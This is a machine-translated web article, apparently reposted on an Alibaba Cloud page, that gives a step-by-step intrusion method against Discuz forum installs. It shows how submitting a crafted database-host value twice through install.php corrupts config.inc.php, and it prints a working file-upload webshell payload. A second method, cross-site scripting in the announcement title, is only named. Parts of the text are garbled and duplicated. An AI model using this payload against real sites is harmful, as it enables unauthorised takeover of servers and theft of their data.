Two methods for Discuz website vulnerability intrusion
Source: Internet
Author: User
Chicken ribs 1: install. due to the loose filtering of preg_grep, php has a security vulnerability. you can directly use webshell if you are lucky to find install. php exists, but the database account has not yet been created, or the database account cannot get the shell, you can look at this. In line 339-412 of install. php, the variable configfile is filtered as follows: $ configfilepr chicken ribs 1: install. php due to the lax filtering of preg_grep, there is a security vulnerability. you can directly use webshell.
If you are lucky to find that install. php exists, but you have not created a database account, or you have obtained a database account that cannot get the shell, you can check this.
In line 339-412 of install. php, the configfile variable is filtered as follows:
$configfile = preg_replace("/[$]dbhosts*=s*[\"'].*?[\"']/is\", \"$dbhost = '$dbhost'\", $configfile);
............
This parameter is used to replace the matching mode $ dbhost = ''in the $ configfile file. the single quotation marks are not filtered here, the password and other filtering rules are the same. enter
a';?>
; ------------ (This is the first submission)
Then save and save the information. the database connection error may occur because the discuz installation configuration file is written before judgment. then you can check the config. inc. php, will appear
$dbhost = 'a';?>'
This format.
Let's go back to the previous step and save it again ----------------- (this is the second submission)
At this time, you will see that config. inc. php has been destroyed and will appear
$dbhost = 'a';?>';?>';
This is the case, but now it is This completes the matching mode.
So we are at?> You can get a webshell by adding a webshell.
For example, write: a';copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?>
You can upload the php webshell through install. php after writing twice.
Chicken ribs 2: The title of the background announcement has a cross-site vulnerability.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service